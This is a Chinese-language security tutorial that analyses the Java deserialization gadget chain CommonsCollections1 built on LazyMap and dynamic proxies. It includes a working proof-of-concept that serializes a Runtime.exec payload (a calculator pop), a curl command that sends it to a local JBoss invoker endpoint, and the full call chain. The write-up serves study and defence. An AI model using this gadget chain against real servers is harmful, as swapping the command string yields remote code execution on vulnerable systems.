LazyMap 的由来

在上一篇《Java 反序列化漏洞之 TransformedMap 型 CC1 链》文章中,提到了 2015 年 1 月加州 AppSec 安全会议上,Chris Frohoff 和 Gabe Lawrence 在演讲中就 CommonsCollections1 完整调用链做出了演示,其中所用到的中间 Gadget 链就是LazyMap类,在随后发布的 Ysoserial 工具中所包含的 CommonsCollections1 链也同样如此。

那么,本文将会详细分析LazyMap作为中间链的这种反序列化利用方式。当然,与TransformedMap作为中间 Gadget 链相比,kick-off 入口类与 sink 危害类都是相同的类,所以涉及重复的内容不会再赘述。不过,虽然 sink 类相同,但其中执行的方法却有所不同。

在此之前还需要了解一些前置知识,比如 Java 动态代理机制,当对 LazyMap 作为中间链的反序列化利用方式分析透彻了,对于后面学习其他 Gadget 链也是有帮助的,比如 CommonsCollections3、CommonsCollections5、CommonsCollections6、CommonsCollections7 都有涉及到LazyMap类。

影响范围

与上一篇文章中提到的影响范围相同,都是影响 JDK 8u71 以下的版本,且 Commons Collections 的版本要求在 3.0 以上、3.2.2 以下。

动态代理

Java 中的动态代理是一种在运行时创建代理对象的机制,该代理对象能够拦截对目标对象方法的调用并在调用前后执行额外的逻辑,动态代理通常用于在不修改原始代码的情况下实现日志记录、性能监控、事务管理等功能。

动态代理主要使用java.lang.reflect.Proxy类和java.lang.reflect.InvocationHandler接口来实现,Proxy类用于创建代理对象,而InvocationHandler接口则负责处理代理对象方法的调用。如下示例代码,非常清晰地演示了不使用动态代理与使用动态代理之间的差异性,一言以蔽之,被动态代理的对象每执行一个方法,都会调用对应的实现InvocationHandler接口类的invoke方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.javasec.proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

class InvocationHandlerDemo implements InvocationHandler {
protected Object obj;

public InvocationHandlerDemo(Object obj) {
this.obj = obj;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().compareTo("get") == 0){
System.out.println("invoke is called.");
}
return method.invoke(this.obj, args);
}
}

public class ProxyTest {
public static void main(String[] args) {

Map map = new HashMap();

map.put("k", "v");
// 正常通过键获取值的方式
System.out.println("k: " + map.get("k"));

System.out.println("--------------------------");

// 通过代理的方式
// 首先先创建InvocationHandler实例
InvocationHandler invocationHandler = new InvocationHandlerDemo(map);

// 再创建代理实例对象
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
invocationHandler
);
// 最后通过代理对象执行相关操作
String result = (String) proxyMap.get("k");
System.out.println("k: " + result);
}
}

/* 执行结果:
k: v
--------------------------
invoke is called.
k: v
*/

LayzMap#get

org.apache.commons.collections.map.LazyMap是一个继承自 AbstractMapDecorator 并用于创建懒加载的装饰类,它实现了MapSerializable,其中的decorate方法用于创建一个装饰后的Map实例,该方法接受一个被装饰的Map对象,以及一个工厂对象,后者将作为 Lazymap 的factory成员变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {

private static final long serialVersionUID = 7990956402564206740L;
protected final Transformer factory;

public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

public Object get(Object key) {
// 如果key当前不在map中,则为key创建value
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
}

LayzMap#get方法中,先会对传入的 key 进行判断是否存在于map中,此处的map是父类AbstractMapDecorator中的成员变量,且用到了transient修饰符,意味着它不会参与序列化,也意味着在反序列化过程中map会为空,其中不会包含任何 key,这样就会顺利进入到 if 代码块中,而在其中有对factorytransform方法进行调用。

1
2
3
4
5
6
public abstract class AbstractMapDecorator implements Map {

/** The map to decorate */
protected transient Map map;
// ...
}

那么,当通过LazyMap.decorate方法传入一个恶意的ChainedTransformer对象作为恶意的factory,然后再调用LayzMap#get方法,最终就会触发恶意行为。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.javasec.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;

public class LazyMapTest {

public static void main(String[] args) {
Transformer[] ts = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open -a Calculator"})
};
Transformer tc = new ChainedTransformer(ts);

LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), tc);

lazyMap.get("xx");
}
}

AnnotationInvocationHandler#invoke

AnnotationInvocationHandler类实现了InvocationHandler,这恰恰让人联系到上面的动态代理机制,而且这个类中的invoke方法里存在memberValues.get方法的调用,这又能够关联到LayzMap#get方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

// ...

return result;
}
}

但不过,重写的readObject方法中并未涉及到invoke相关方法,所以就需要用到动态代理机制,从而执行到invoke方法,最终达到执行get方法以达到命令的执行。

概念验证

结合如上所有,最终构造如下 POC。第一处创建的AnnotationInvocationHandler实例是用于利用invoke方法触发LazyMap中的 get 方法从而达到命令执行,接着会通过调用Proxy.newProxyInstance()方法为这个实例创建代理对象 proxyMap,但由于在反序列化的入口是readObject方法,所以无法对 proxyMap 直接序列化,所以就需要二次创建AnnotationInvocationHandler实例来对 proxyMap 进行包装。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.javasec.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1LazyMap {
public static void main(String[] args) throws Exception{

Transformer[] ts = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open -a Calculator"})
};
Transformer tc = new ChainedTransformer(ts);

LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), tc);

Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

// 创建第一个AnnotationInvocationHandler实例
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

// 调用Proxy.newProxyInstance()方法创建代理对象proxyMap
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, handler);

// 第二次创建AnnotationInvocationHandler实例来对proxyMap进行包装
handler = (InvocationHandler) constructor.newInstance(Override.class, proxyMap);

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc1-lazymap.ser"));
outputStream.writeObject(handler);
outputStream.close();
// ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc1-lazymap.ser"));
// inputStream.readObject();
}
}

向一个存在反序列化漏洞且 JDK 版本小于 8u71 的 Jboss 环境发送如上生成的恶意序列化数据,成功弹出计算器。

1
curl -H "Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue" --data-binary "@cc1-lazymap.ser" http://localhost:8080/invoker/readonly

如下是完整 Gadget 调用链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Debug 导致的小问题

如上 POC 在调试时,在进行序列化时就会弹出计算器,有时候甚至会弹出两个计算器,这些情况在直接运行的情况下反倒不会出现。这其实是由于在本地调试代码时,调试器会调用一些 toString 等方法,这样便触发了 invoke 的调用,从而导致命令执行。有一种非常简单的方式来避免这种行为,在 IDEA 中关闭如下两项即可。

参考